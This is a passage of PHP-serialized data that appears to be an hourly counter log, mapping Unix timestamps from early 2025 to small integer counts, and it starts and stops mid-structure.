0;i:5;}i:1739883600;a:1:{i:0;i:3;}i:1739887200;a:1:{i:0;i:3;}i:1739894400;a:1:{i:0;i:1;}i:1739905200;a:1:{i:0;i:1;}i:1739908800;a:1:{i:0;i:1;}i:1739919600;a:1:{i:0;i:2;}i:1739923200;a:1:{i:0;i:10;}i:1739926800;a:1:{i:0;i:6;}i:1739930400;a:1:{i:0;i:5;}i:1739934000;a:1:{i:0;i:6;}i:1739937600;a:1:{i:0;i:5;}i:1739941200;a:1:{i:0;i:7;}i:1739944800;a:1:{i:0;i:7;}i:1739948400;a:1:{i:0;i:6;}i:1739952000;a:1:{i:0;i:7;}i:1739955600;a:1:{i:0;i:10;}i:1739959200;a:1:{i:0;i:40;}i:1739962800;a:1:{i:0;i:21;}i:1739966400;a:1:{i:0;i:26;}i:1739970000;a:1:{i:0;i:46;}i:1739973600;a:1:{i:0;i:22;}i:1739977200;a:1:{i:0;i:17;}i:1739980800;a:1:{i:0;i:19;}i:1739984400;a:1:{i:0;i:23;}i:1739988000;a:1:{i:0;i:22;}i:1739991600;a:1:{i:0;i:12;}i:1739995200;a:1:{i:0;i:15;}i:1739998800;a:1:{i:0;i:13;}i:1740002400;a:1:{i:0;i:27;}i:1740006000;a:1:{i:0;i:15;}i:1740009600;a:1:{i:0;i:19;}i:1740013200;a:1:{i:0;i:22;}i:1740016800;a:1:{i:0;i:40;}i:1740020400;a:1:{i:0;i:12;}i:1740024000;a:1:{i:0;i:33;}i:1740027600;a:1:{i:0;i:27;}i:1740031200;a:1:{i:0;i:37;}i:1740034800;a:1:{i:0;i:20;}i:1740038400;a:1:{i:0;i:22;}i:1740042000;a:1:{i:0;i:21;}i:1740045600;a:1:{i:0;i:10;}i:1740049200;a:1:{i:0;i:6;}i:1740052800;a:1:{i:0;i:9;}i:1740056400;a:1:{i:0;i:8;}i:1740060000;a:1:{i:0;i:36;}i:1740063600;a:1:{i:0;i:11;}i:1740067200;a:1:{i:0;i:24;}i:1740070800;a:1:{i:0;i:15;}i:1740074400;a:1:{i:0;i:12;}i:1740078000;a:1:{i:0;i:13;}i:1740081600;a:1:{i:0;i:9;}i:1740085200;a:1:{i:0;i:12;}i:1740088800;a:1:{i:0;i:14;}i:1740092400;a:1:{i:0;i:9;}i:1740096000;a:1:{i:0;i:8;}i:1740099600;a:1:{i:0;i:19;}i:1740103200;a:1:{i:0;i:15;}i:1740106800;a:1:{i:0;i:9;}i:1740110400;a:1:{i:0;i:14;}i:1740114000;a:1:{i:0;i:22;}i:1740117600;a:1:{i:0;i:21;}i:1740121200;a:1:{i:0;i:16;}i:1740124800;a:1:{i:0;i:21;}i:1740128400;a:1:{i:0;i:19;}i:1740132000;a:1:{i:0;i:6;}i:1740135600;a:1:{i:0;i:11;}i:1740139200;a:1:{i:0;i:12;}i:1740142800;a:1:{i:0;i:10;}i:1740146400;a:1:{i:0;i:11;}i:1740150000;a:1:{i:0;i:10;}i:1740153600;a:1:{i:0;i:11;}i:1740157200;a:1:{i:0;i:7;}i:1740160800;a:1:{i:0;i:10;}i:1740164400;a:1:{i:0;i:12;}i:1740168000;a:1:{i:0;i:21;}i:1740171600;a:1:{i:0;i:12;}i:1740175200;a:1:{i:0;i:11;}i:1740178800;a:1:{i:0;i:10;}i:1740182400;a:1:{i:0;i:9;}i:1740186000;a:1:{i:0;i:9;}i:1740189600;a:1:{i:0;i:6;}i:1740193200;a:1:{i:0;i:7;}i:1740196800;a:1:{i:0;i:12;}i:1740200400;a:1:{i:0;i:6;}i:1740204000;a:1:{i:0;i:14;}i:1740207600;a:1:{i:0;i:10;}i:1740211200;a:1:{i:0;i:9;}i:1740214800;a:1:{i:0;i:12;}i:1740218400;a:1:{i:0;i:5;}i:1740222000;a:1:{i:0;i:13;}i:1740225600;a:1:{i:0;i:17;}i:1740229200;a:1:{i:0;i:11;}i:1740232800;a:1:{i:0;i:9;}i:1740236400;a:1:{i:0;i:12;}i:1740240000;a:1:{i:0;i:6;}i:1740243600;a:1:{i:0;i:11;}i:1740247200;a:1:{i:0;i:5;}i:1740250800;a:1:{i:0;i:9;}i:1740254400;a:1:{i:0;i:10;}i:1740258000;a:1:{i:0;i:10;}i:1740261600;a:1:{i:0;i:117;}i:1740265200;a:1:{i:0;i:331;}i:1740268800;a:1:{i:0;i:322;}i:1740272400;a:1:{i:0;i:169;}i:1740276000;a:1:{i:0;i:6;}i:1740279600;a:1:{i:0;i:9;}i:1740283200;a:1:{i:0;i:7;}i:1740286800;a:1:{i:0;i:13;}i:1740290400;a:1:{i:0;i:10;}i:1740294000;a:1:{i:0;i:5;}i:1740297600;a:1:{i:0;i:3;}i:1740301200;a:1:{i:0;i:4;}i:1740304800;a:1:{i:0;i:5;}i:1740308400;a:1:{i:0;i:4;}i:1740312000;a:1:{i:0;i:6;}i:1740315600;a:1:{i:0;i:5;}i:1740319200;a:1:{i:0;i:5;}i:1740322800;a:1:{i:0;i:14;}i:1740326400;a:1:{i:0;i:3;}i:1740330000;a:1:{i:0;i:13;}i:1740333600;a:1:{i:0;i:6;}i:1740337200;a:1:{i:0;i:1;}i:1740340800;a:1:{i:0;i:2;}i:1740344400;a:1:{i:0;i:2;}i:1740348000;a:1:{i:0;i:1;}i:1740351600;a:1:{i:0;i:1;}i:1740355200;a:1:{i:0;i:7;}i:1740358800;a:1:{i:0;i:4;}i:1740362400;a:1:{i:0;i:8;}i:1740366000;a:1:{i:0;i:6;}i:1740369600;a:1:{i:0;i:5;}i:1740373200;a:1:{i:0;i:6;}i:1740376800;a:1:{i:0;i:5;}i:1740380400;a:1:{i:0;i:4;}i:1740384000;a:1:{i:0;i:5;}i:1740387600;a:1:{i:0;i:3;}i:1740391200;a:1:{i:0;i:8;}i:1740394800;a:1:{i:0;i:6;}i:1740398400;a:1:{i:0;i:5;}i:1740402000;a:1:{i:0;i:6;}i:1740405600;a:1:{i:0;i:7;}i:1740409200;a:1:{i:0;i:4;}i:1740412800;a:1:{i:0;i:3;}i:1740416400;a:1:{i:0;i:5;}i:1740420000;a:1:{i:0;i:3;}i:1740423600;a:1:{i:0;i:4;}i:1740427200;a:1:{i:0;i:3;}i:1740430800;a:1:{i:0;i:2;}i:1740434400;a:1:{i:0;i:5;}i:1740438000;a:1:{i:0;i:8;}i:1740441600;a:1:{i:0;i:4;}i:1740445200;a:1:{i:0;i:10;}i:1740448800;a:1:{i:0;i:14;}i:1740452400;a:1:{i:0;i:4;}i:1740456000;a:1:{i:0;i:1;}i:1740459600;a:1:{i:0;i:4;}i:1740463200;a:1:{i:0;i:11;}i:1740466800;a:1:{i:0;i:3;}i:1740470400;a:1:{i:0;i:3;}i:1740474000;a:1:{i:0;i:5;}i:1740477600;a:1:{i:0;i:5;}i:1740481200;a:1:{i:0;i:5;}i:1740484800;a:1:{i:0;i:3;}i:1740488400;a:1:{i:0;i:4;}i:1740492000;a:1:{i:0;i:3;}i:1740495600;a:1:{i:0;i:15;}i:1740499200;a:1:{i:0;i:7;}i:1740502800;a:1:{i:0;i:5;}i:1740506400;a:1:{i:0;i:4;}i:1740510000;a:1:{i:0;i:4;}i:1740513600;a:1:{i:0;i:6;}i:1740517200;a:1:{i:0;i:4;}i:1740520800;a:1:{i:0;i:1;}i:1740524400;a:1:{i:0;i:4;}i:1740528000;a:1:{i:0;i:2;}i:1740531600;a:1:{i:0;i:4;}i:1740535200;a:1:{i:0;i:8;}i:1740538800;a:1:{i:0;i:4;}i:1740542400;a:1:{i:0;i:4;}i:1740546000;a:1:{i:0;i:4;}i:1740549600;a:1:{i:0;i:4;}i:1740553200;a:1:{i:0;i:6;}i:1740556800;a:1:{i:0;i:8;}i:1740560400;a:1:{i:0;i:6;}i:1740564000;a:1:{i:0;i:8;}i:1740567600;a:1:{i:0;i:4;}i:1740571200;a:1:{i:0;i:19;}i:1740574800;a:1:{i:0;i:5;}i:1740578400;a:1:{i:0;i:3;}i:1740582000;a:1:{i:0;i:10;}i:1740585600;a:1:{i:0;i:7;}i:1740589200;a:1:{i:0;i:6;}i:1740592800;a:1:{i:0;i:5;}i:1740596400;a:1:{i:0;i:5;}i:1740600000;a:1:{i:0;i:5;}i:1740603600;a:1:{i:0;i:7;}i:1740607200;a:1:{i:0;i:4;}i:1740610800;a:1:{i:0;i:7;}i:1740614400;a:1:{i:0;i:6;}i:1740618000;a:1:{i:0;i:6;}i:1740621600;a:1:{i:0;i:4;}i:1740625200;a:1:{i:0;i:3;}i:1740628800;a:1:{i:0;i:2;}i:1740632400;a:1:{i:0;i:2;}i:1740636000;a:1:{i:0;i:3;}i:1740639600;a:1:{i:0;i:4;}i:1740643200;a:1:{i:0;i:4;}i:1740646800;a:1:{i:0;i:12;}i:1740650400;a:1:{i:0;i:2;}i:1740654000;a:1:{i:0;i:4;}i:1740661200;a:1:{i:0;i:7;}i:1740664800;a:1:{i:0;i:4;}i:1740668400;a:1:{i:0;i:12;}i:1740672000;a:1:{i:0;i:28;}i:1740675600;a:1:{i:0;i:10;}i:1740679200;a:1:{i:0;i:24;}i:1740682800;a:1:{i:0;i:14;}i:1740686400;a:1:{i:0;i:28;}i:1740690000;a:1:{i:0;i:11;}i:1740693600;a:1:{i:0;i:24;}i:1740697200;a:1:{i:0;i:6;}i:1740700800;a:1:{i:0;i:22;}i:1740704400;a:1:{i:0;i:8;}i:1740708000;a:1:{i:0;i:22;}i:1740711600;a:1:{i:0;i:5;}i:1740715200;a:1:{i:0;i:18;}i:1740718800;a:1:{i:0;i:5;}i:1740722400;a:1:{i:0;i:4;}i:1740726000;a:1:{i:0;i:5;}i:1740729600;a:1:{i:0;i:21;}i:1740733200;a:1:{i:0;i:10;}i:1740736800;a:1:{i:0;i:18;}i:1740740400;a:1:{i:0;i:4;}i:1740744000;a:1:{i:0;i:17;}i:1740747600;a:1:{i:0;i:6;}i:1740751200;a:1:{i:0;i:4;}i:1740754800;a:1:{i:0;i:14;}i:1740758400;a:1:{i:0;i:4;}i:1740762000;a:1:{i:0;i:16;}i:1740765600;a:1:{i:0;i:4;}i:1740769200;a:1:{i:0;i:20;}i:1740772800;a:1:{i:0;i:6;}i:1740776400;a:1:{i:0;i:5;}i:1740780000;a:1:{i:0;i:17;}i:1740783600;a:1:{i:0;i:8;}i:1740787200;a:1:{i:0;i:20;}i:1740790800;a:1:{i:0;i:4;}i:1740794400;a:1:{i:0;i:16;}i:1740798000;a:1:{i:0;i:5;}i:1740801600;a:1:{i:0;i:3;}i:1740805200;a:1:{i:0;i:14;}i:1740808800;a:1:{i:0;i:4;}i:1740812400;a:1:{i:0;i:3;}i:1740816000;a:1:{i:0;i:8;}i:1740819600;a:1:{i:0;i:2;}i:1740823200;a:1:{i:0;i:12;}i:1740826800;a:1:{i:0;i:2;}i:1740830400;a:1:{i:0;i:14;}i:1740834000;a:1:{i:0;i:2;}i:1740837600;a:1:{i:0;i:14;}i:1740841200;a:1:{i:0;i:1;}i:1740844800;a:1:{i:0;i:18;}i:1740848400;a:1:{i:0;i:3;}i:1740852000;a:1:{i:0;i:5;}i:1740855600;a:1:{i:0;i:18;}i:1740859200;a:1:{i:0;i:2;}i:1740862800;a:1:{i:0;i:17;}i:1740866400;a:1:{i:0;i:2;}i:1740870000;a:1:{i:0;i:18;}i:1740873600;a:1:{i:0;i:1;}i:1740877200;a:1:{i:0;i:2;}i:1740880800;a:1:{i:0;i:15;}i:1740884400;a:1:{i:0;i:4;}i:1740888000;a:1:{i:0;i:11;}i:1740891600;a:1:{i:0;i:3;}i:1740895200;a:1:{i:0;i:20;}i:1740898800;a:1:{i:0;i:4;}i:1740902400;a:1:{i:0;i:1;}i:1740906000;a:1:{i:0;i:3;}i:1740909600;a:1:{i:0;i:1;}i:1740913200;a:1:{i:0;i:4;}i:1740916800;a:1:{i:0;i:2;}i:1740920400;a:1:{i:0;i:1;}i:1740924000;a:1:{i:0;i:2;}i:1740927600;a:1:{i:0;i:3;}i:1740931200;a:1:{i:0;i:2;}i:1740934800;a:1:{i:0;i:7;}i:1740938400;a:1:{i:0;i:9;}i:1740942000;a:1:{i:0;i:8;}i:1740945600;a:1:{i:0;i:8;}i:1740949200;a:1:{i:0;i:18;}i:1740952800;a:1:{i:0;i:13;}i:1740956400;a:1:{i:0;i:5;}i:1740960000;a:1:{i:0;i:6;}i:1740963600;a:1:{i:0;i:6;}i:1740967200;a:1:{i:0;i:6;}i:1740970800;a:1:{i:0;i:9;}i:1740974400;a:1:{i:0;i:8;}i:1740978000;a:1:{i:0;i:6;}i:1740981600;a:1:{i:0;i:6;}i:1740985200;a:1:{i:0;i:4;}i:1740988800;a:1:{i:0;i:4;}i:1740992400;a:1:{i:0;i:20;}i:1740996000;a:1:{i:0;i:5;}i:1740999600;a:1:{i:0;i:18;}i:1741003200;a:1:{i:0;i:4;}i:1741006800;a:1:{i:0;i:16;}i:1741010400;a:1:{i:0;i:5;}i:1741014000;a:1:{i:0;i:15;}i:1741017600;a:1:{i:0;i:1;}i:1741021200;a:1:{i:0;i:14;}i:1741024800;a:1:{i:0;i:6;}i:1741028400;a:1:{i:0;i:1;}i:1741032000;a:1:{i:0;i:17;}i:1741035600;a:1:{i:0;i:2;}i:1741039200;a:1:{i:0;i:15;}i:1741042800;a:1:{i:0;i:4;}i:1741046400;a:1:{i:0;i:13;}i:1741050000;a:1:{i:0;i:2;}i:1741053600;a:1:{i:0;i:17;}i:1741057200;a:1:{i:0;i:9;}i:1741060800;a:1:{i:0;i:20;}i:1741064400;a:1:{i:0;i:2;}i:1741068000;a:1:{i:0;i:14;}i:1741071600;a:1:{i:0;i:1;}i:1741075200;a:1:{i:0;i:2;}i:1741078800;a:1:{i:0;i:14;}i:1741082400;a:1:{i:0;i:6;}i:1741086000;a:1:{i:0;i:26;}i:1741089600;a:1:{i:0;i:1;}i:1741093200;a:1:{i:0;i:14;}i:1741096800;a:1:{i:0;i:3;}i:1741100400;a:1:{i:0;i:5;}i:1741104000;a:1:{i:0;i:15;}i:1741107600;a:1:{i:0;i:2;}i:1741111200;a:1:{i:0;i:18;}i:1741114800;a:1:{i:0;i:2;}i:1741122000;a:1:{i:0;i:15;}i:1741125600;a:1:{i:0;i:7;}i:1741129200;a:1:{i:0;i:4;}i:1741132800;a:1:{i:0;i:17;}i:1741136400;a:1:{i:0;i:3;}i:1741140000;a:1:{i:0;i:16;}i:1741143600;a:1:{i:0;i:4;}i:1741147200;a:1:{i:0;i:13;}i:1741150800;a:1:{i:0;i:3;}i:1741158000;a:1:{i:0;i:12;}i:1741161600;a:1:{i:0;i:2;}i:1741165200;a:1:{i:0;i:3;}i:1741168800;a:1:{i:0;i:1;}i:1741172400;a:1:{i:0;i:14;}i:1741176000;a:1:{i:0;i:1;}i:1741179600;a:1:{i:0;i:6;}i:1741183200;a:1:{i:0;i:19;}i:1741186800;a:1:{i:0;i:2;}i:1741190400;a:1:{i:0;i:18;}i:1741197600;a:1:{i:0;i:6;}i:1741201200;a:1:{i:0;i:24;}i:1741204800;a:1:{i:0;i:9;}i:1741208400;a:1:{i:0;i:17;}i:1741212000;a:1:{i:0;i:8;}i:1741215600;a:1:{i:0;i:17;}i:1741219200;a:1:{i:0;i:5;}i:1741222800;a:1:{i:0;i:6;}i:1741226400;a:1:{i:0;i:17;}i:1741230000;a:1:{i:0;i:4;}i:1741233600;a:1:{i:0;i:19;}i:1741237200;a:1:{i:0;i:26;}i:1741240800;a:1:{i:0;i:7;}i:1741244400;a:1:{i:0;i:18;}i:1741248000;a:1:{i:0;i:9;}i:1741251600;a:1:{i:0;i:6;}i:1741255200;a:1:{i:0;i:9;}i:1741258800;a:1:{i:0;i:7;}i:1741262400;a:1:{i:0;i:5;}i:1741266000;a:1:{i:0;i:7;}i:1741269600;a:1:{i:0;i:6;}i:1741273200;a:1:{i:0;i:7;}i:1741276800;a:1:{i:0;i:9;}i:1741280400;a:1:{i:0;i:8;}i:1741284000;a:1:{i:0;i:7;}i:1741287600;a:1:{i:0;i:11;}i:1741291200;a:1:{i:0;i:9;}i:1741294800;a:1:{i:0;i:8;}i:1741298400;a:1:{i:0;i:10;}i:1741302000;a:1:{i:0;i:5;}i:1741305600;a:1:{i:0;i:3;}i:1741309200;a:1:{i:0;i:3;}i:1741312800;a:1:{i:0;i:2;}i:1741316400;a:1:{i:0;i:4;}i:1741320000;a:1:{i:0;i:2;}i:1741323600;a:1:{i:0;i:2;}i:1741327200;a:1:{i:0;i:3;}i:1741330800;a:1:{i:0;i:6;}i:1741334400;a:1:{i:0;i:3;}i:1741338000;a:1:{i:0;i:7;}i:1741341600;a:1:{i:0;i:2;}i:1741345200;a:1:{i:0;i:9;}i:1741348800;a:1:{i:0;i:2;}i:1741352400;a:1:{i:0;i:3;}i:1741356000;a:1:{i:0;i:6;}i:1741359600;a:1:{i:0;i:2;}i:1741363200;a:1:{i:0;i:7;}i:1741366800;a:1:{i:0;i:5;}i:1741370400;a:1:{i:0;i:3;}i:1741374000;a:1:{i:0;i:2;}i:1741377600;a:1:{i:0;i:2;}i:1741381200;a:1:{i:0;i:4;}i:1741384800;a:1:{i:0;i:4;}i:1741388400;a:1:{i:0;i:2;}i:1741392000;a:1:{i:0;i:3;}i:1741395600;a:1:{i:0;i:5;}i:1741399200;a:1:{i:0;i:5;}i:1741402800;a:1:{i:0;i:4;}i:1741406400;a:1:{i:0;i:5;}i:1741410000;a:1:{i:0;i:3;}i:1741413600;a:1:{i:0;i:7;}i:1741417200;a:1:{i:0;i:16;}i:1741420800;a:1:{i:0;i:12;}i:1741424400;a:1:{i:0;i:9;}i:1741428000;a:1:{i:0;i:6;}i:1741431600;a:1:{i:0;i:4;}i:1741435200;a:1:{i:0;i:4;}i:1741438800;a:1:{i:0;i:6;}i:1741442400;a:1:{i:0;i:3;}i:1741446000;a:1:{i:0;i:4;}i:1741449600;a:1:{i:0;i:3;}i:1741453200;a:1:{i:0;i:4;}i:1741456800;a:1:{i:0;i:9;}i:1741460400;a:1:{i:0;i:15;}i:1741464000;a:1:{i:0;i:5;}i:1741467600;a:1:{i:0;i:5;}i:1741471200;a:1:{i:0;i:4;}i:1741474800;a:1:{i:0;i:1;}i:1741478400;a:1:{i:0;i:2;}i:1741482000;a:1:{i:0;i:1;}i:1741485600;a:1:{i:0;i:1;}i:1741489200;a:1:{i:0;i:2;}i:1741518000;a:1:{i:0;i:1;}i:1741521600;a:1:{i:0;i:2;}i:1741525200;a:1:{i:0;i:1;}i:1741561200;a:1:{i:0;i:7;}i:1741564800;a:1:{i:0;i:9;}i:1741568400;a:1:{i:0;i:3;}i:1741572000;a:1:{i:0;i:1;}i:1741604400;a:1:{i:0;i:3;}i:1741608000;a:1:{i:0;i:12;}i:1741611600;a:1:{i:0;i:2;}i:1741615200;a:1:{i:0;i:1;}i:1741629600;a:1:{i:0;i:11;}i:1741633200;a:1:{i:0;i:5;}i:1741636800;a:1:{i:0;i:1;}i:1741640400;a:1:{i:0;i:1;}i:1741644000;a:1:{i:0;i:2;}i:1741647600;a:1:{i:0;i:4;}i:1741651200;a:1:{i:0;i:2;}i:1741654800;a:1:{i:0;i:3;}i:1741658400;a:1:{i:0;i:1;}i:1741662000;a:1:{i:0;i:3;}i:1741665600;a:1:{i:0;i:3;}i:1741669200;a:1:{i:0;i:3;}i:1741672800;a:1:{i:0;i:4;}i:1741676400;a:1:{i:0;i:2;}i:1741680000;a:1:{i:0;i:3;}i:1741683600;a:1:{i:0;i:6;}i:1741687200;a:1:{i:0;i:5;}i:1741690800;a:1:{i:0;i:4;}i:1741694400;a:1:{i:0;i:2;}i:1741698000;a:1:{i:0;i:4;}i:1741701600;a:1:{i:0;i:6;}i:1741705200;a:1:{i:0;i:6;}i:1741708800;a:1:{i:0;i:8;}i:1741712400;a:1:{i:0;i:8;}i:1741716000;a:1:{i:0;i:4;}i:1741719600;a:1:{i:0;i:6;}i:1741723200;a:1:{i:0;i:8;}i:1741726800;a:1:{i:0;i:5;}i:1741730400;a:1:{i:0;i:5;}i:1741734000;a:1:{i:0;i:3;}i:1741737600;a:1:{i:0;i:2;}i:1741741200;a:1:{i:0;i:3;}i:1741744800;a:1:{i:0;i:3;}i:1741748400;a:1:{i:0;i:3;}i:1741752000;a:1:{i:0;i:14;}i:1741755600;a:1:{i:0;i:2;}i:1741759200;a:1:{i:0;i:6;}i:1741762800;a:1:{i:0;i:5;}i:1741766400;a:1:{i:0;i:4;}i:1741770000;a:1:{i:0;i:4;}i:1741773600;a:1:{i:0;i:7;}i:1741777200;a:1:{i:0;i:6;}i:1741780800;a:1:{i:0;i:3;}i:1741784400;a:1:{i:0;i:5;}i:1741788000;a:1:{i:0;i:4;}i:1741791600;a:1:{i:0;i:4;}i:1741795200;a:1:{i:0;i:15;}i:1741798800;a:1:{i:0;i:9;}i:1741802400;a:1:{i:0;i:6;}i:1741806000;a:1:{i:0;i:2;}i:1741809600;a:1:{i:0;i:3;}i:1741816800;a:1:{i:0;i:1;}i:1741820400;a:1:{i:0;i:2;}i:1741824000;a:1:{i:0;i:1;}i:1741827600;a:1:{i:0;i:3;}i:1741834800;a:1:{i:0;i:1;}i:1741838400;a:1:{i:0;i:5;}i:1741842000;a:1:{i:0;i:2;}i:1741845600;a:1:{i:0;i:2;}i:1741849200;a:1:{i:0;i:4;}i:1741852800;a:1:{i:0;i:10;}i:1741856400;a:1:{i:0;i:6;}i:1741860000;a:1:{i:0;i:7;}i:1741863600;a:1:{i:0;i:8;}i:1741867200;a:1:{i:0;i:8;}i:1741870800;a:1:{i:0;i:6;}i:1741874400;a:1:{i:0;i:4;}i:1741878000;a:1:{i:0;i:5;}i:1741881600;a:1:{i:0;i:8;}i:1741885200;a:1:{i:0;i:7;}i:1741888800;a:1:{i:0;i:18;}i:1741892400;a:1:{i:0;i:10;}i:1741896000;a:1:{i:0;i:8;}i:1741899600;a:1:{i:0;i:7;}i:1741903200;a:1:{i:0;i:3;}i:1741906800;a:1:{i:0;i:7;}i:1741910400;a:1:{i:0;i:5;}i:1741914000;a:1:{i:0;i:4;}i:1741917600;a:1:{i:0;i:16;}i:1741921200;a:1:{i:0;i:3;}i:1741924800;a:1:{i:0;i:5;}i:1741928400;a:1:{i:0;i:4;}i:1741932000;a:1:{i:0;i:9;}i:1741935600;a:1:{i:0;i:7;}i:1741939200;a:1:{i:0;i:3;}i:1741942800;a:1:{i:0;i:6;}i:1741946400;a:1:{i:0;i:8;}i:1741950000;a:1:{i:0;i:5;}i:1741953600;a:1:{i:0;i:3;}i:1741957200;a:1:{i:0;i:1;}i:1741960800;a:1:{i:0;i:7;}i:1741964400;a:1:{i:0;i:2;}i:1741968000;a:1:{i:0;i:1;}i:1741971600;a:1:{i:0;i:14;}i:1741975200;a:1:{i:0;i:7;}i:1741978800;a:1:{i:0;i:1;}i:1741982400;a:1:{i:0;i:7;}i:1741986000;a:1:{i:0;i:3;}i:1741989600;a:1:{i:0;i:1;}i:1741993200;a:1:{i:0;i:4;}i:1741996800;a:1:{i:0;i:2;}i:1742000400;a:1:{i:0;i:2;}i:1742004000;a:1:{i:0;i:1;}i:1742007600;a:1:{i:0;i:2;}i:1742011200;a:1:{i:0;i:11;}i:1742014800;a:1:{i:0;i:16;}i:1742018400;a:1:{i:0;i:8;}i:1742022000;a:1:{i:0;i:2;}i:1742025600;a:1:{i:0;i:1;}i:1742029200;a:1:{i:0;i:3;}i:1742032800;a:1:{i:0;i:2;}i:1742036400;a:1:{i:0;i:3;}i:1742040000;a:1:{i:0;i:1;}i:1742043600;a:1:{i:0;i:1;}i:1742050800;a:1:{i:0;i:3;}i:1742054400;a:1:{i:0;i:3;}i:1742058000;a:1:{i:0;i:2;}i:1742061600;a:1:{i:0;i:3;}i:1742065200;a:1:{i:0;i:4;}i:1742068800;a:1:{i:0;i:5;}i:1742072400;a:1:{i:0;i:9;}i:1742076000;a:1:{i:0;i:5;}i:1742079600;a:1:{i:0;i:2;}i:1742083200;a:1:{i:0;i:3;}i:1742086800;a:1:{i:0;i:2;}i:1742090400;a:1:{i:0;i:2;}i:1742094000;a:1:{i:0;i:2;}i:1742101200;a:1:{i:0;i:14;}i:1742104800;a:1:{i:0;i:12;}i:1742108400;a:1:{i:0;i:9;}i:1742112000;a:1:{i:0;i:1;}i:1742115600;a:1:{i:0;i:2;}i:1742119200;a:1:{i:0;i:2;}i:1742122800;a:1:{i:0;i:2;}i:1742126400;a:1:{i:0;i:1;}i:1742130000;a:1:{i:0;i:1;}i:1742133600;a:1:{i:0;i:9;}i:1742137200;a:1:{i:0;i:15;}i:1742140800;a:1:{i:0;i:11;}i:1742144400;a:1:{i:0;i:2;}i:1742148000;a:1:{i:0;i:2;}i:1742158800;a:1:{i:0;i:1;}i:1742162400;a:1:{i:0;i:1;}i:1742166000;a:1:{i:0;i:6;}i:1742169600;a:1:{i:0;i:7;}i:1742173200;a:1:{i:0;i:1;}i:1742180400;a:1:{i:0;i:2;}i:1742184000;a:1:{i:0;i:1;}i:1742187600;a:1:{i:0;i:4;}i:1742191200;a:1:{i:0;i:4;}i:1742194800;a:1:{i:0;i:3;}i:1742198400;a:1:{i:0;i:3;}i:1742202000;a:1:{i:0;i:3;}i:1742205600;a:1:{i:0;i:2;}i:1742209200;a:1:{i:0;i:1;}i:1742212800;a:1:{i:0;i:4;}i:1742216400;a:1:{i:0;i:2;}i:1742227200;a:1:{i:0;i:7;}i:1742230800;a:1:{i:0;i:3;}i:1742234400;a:1:{i:0;i:2;}i:1742259600;a:1:{i:0;i:3;}i:1742263200;a:1:{i:0;i:2;}i:1742266800;a:1:{i:0;i:3;}i:1742270400;a:1:{i:0;i:2;}i:1742274000;a:1:{i:0;i:6;}i:1742277600;a:1:{i:0;i:5;}i:1742281200;a:1:{i:0;i:5;}i:1742284800;a:1:{i:0;i:6;}i:1742288400;a:1:{i:0;i:6;}i:1742292000;a:1:{i:0;i:1;}i:1742295600;a:1:{i:0;i:3;}i:1742299200;a:1:{i:0;i:11;}i:1742302800;a:1:{i:0;i:9;}i:1742306400;a:1:{i:0;i:4;}i:1742310000;a:1:{i:0;i:1;}i:1742313600;a:1:{i:0;i:3;}i:1742317200;a:1:{i:0;i:3;}i:1742320800;a:1:{i:0;i:12;}i:1742324400;a:1:{i:0;i:3;}i:1742328000;a:1:{i:0;i:3;}i:1742331600;a:1:{i:0;i:3;}i:1742335200;a:1:{i:0;i:3;}i:1742338800;a:1:{i:0;i:4;}i:1742342400;a:1:{i:0;i:4;}i:1742346000;a:1:{i:0;i:2;}i:1742349600;a:1:{i:0;i:4;}i:1742353200;a:1:{i:0;i:2;}i:1742356800;a:1:{i:0;i:4;}i:1742360400;a:1:{i:0;i:7;}i:1742364000;a:1:{i:0;i:3;}i:1742367600;a:1:{i:0;i:4;}i:1742371200;a:1:{i:0;i:3;}i:1742374800;a:1:{i:0;i:3;}i:1742378400;a:1:{i:0;i:2;}i:1742382000;a:1:{i:0;i:4;}i:1742385600;a:1:{i:0;i:3;}i:1742389200;a:1:{i:0;i:8;}i:1742392800;a:1:{i:0;i:12;}i:1742396400;a:1:{i:0;i:2;}i:1742400000;a:1:{i:0;i:3;}i:1742403600;a:1:{i:0;i:3;}i:1742407200;a:1:{i:0;i:4;}i:1742410800;a:1:{i:0;i:3;}i:1742414400;a:1:{i:0;i:2;}i:1742418000;a:1:{i:0;i:3;}i:1742421600;a:1:{i:0;i:3;}i:1742425200;a:1:{i:0;i:3;}i:1742428800;a:1:{i:0;i:5;}i:1742432400;a:1:{i:0;i:2;}i:1742436000;a:1:{i:0;i:5;}i:1742439600;a:1:{i:0;i:1;}i:1742443200;a:1:{i:0;i:4;}i:1742446800;a:1:{i:0;i:4;}i:1742450400;a:1:{i:0;i:3;}i:1742454000;a:1:{i:0;i:7;}i:1742457600;a:1:{i:0;i:3;}i:1742461200;a:1:{i:0;i:4;}i:1742464800;a:1:{i:0;i:6;}i:1742468400;a:1:{i:0;i:3;}i:1742472000;a:1:{i:0;i:4;}i:1742475600;a:1:{i:0;i:3;}i:1742479200;a:1:{i:0;i:5;}i:1742482800;a:1:{i:0;i:4;}i:1742486400;a:1:{i:0;i:8;}i:1742490000;a:1:{i:0;i:4;}i:1742493600;a:1:{i:0;i:2;}i:1742497200;a:1:{i:0;i:4;}i:1742500800;a:1:{i:0;i:2;}i:1742504400;a:1:{i:0;i:3;}i:1742508000;a:1:{i:0;i:4;}i:1742511600;a:1:{i:0;i:1;}i:1742515200;a:1:{i:0;i:3;}i:1742518800;a:1:{i:0;i:3;}i:1742522400;a:1:{i:0;i:7;}i:1742526000;a:1:{i:0;i:6;}i:1742529600;a:1:{i:0;i:5;}i:1742533200;a:1:{i:0;i:6;}i:1742536800;a:1:{i:0;i:4;}i:1742540400;a:1:{i:0;i:11;}i:1742544000;a:1:{i:0;i:7;}i:1742547600;a:1:{i:0;i:8;}i:1742551200;a:1:{i:0;i:4;}i:1742554800;a:1:{i:0;i:7;}i:1742558400;a:1:{i:0;i:7;}i:1742562000;a:1:{i:0;i:6;}i:1742565600;a:1:{i:0;i:5;}i:1742569200;a:1:{i:0;i:5;}i:1742572800;a:1:{i:0;i:8;}i:1742576400;a:1:{i:0;i:5;}i:1742580000;a:1:{i:0;i:7;}i:1742583600;a:1:{i:0;i:4;}i:1742587200;a:1:{i:0;i:9;}i:1742590800;a:1:{i:0;i:12;}i:1742594400;a:1:{i:0;i:16;}i:1742598000;a:1:{i:0;i:6;}i:1742601600;a:1:{i:0;i:5;}i:1742605200;a:1:{i:0;i:5;}i:1742608800;a:1:{i:0;i:7;}i:1742612400;a:1:{i:0;i:8;}i:1742616000;a:1:{i:0;i:8;}i:1742619600;a:1:{i:0;i:6;}i:1742623200;a:1:{i:0;i:3;}i:1742626800;a:1:{i:0;i:8;}i:1742630400;a:1:{i:0;i:8;}i:1742634000;a:1:{i:0;i:6;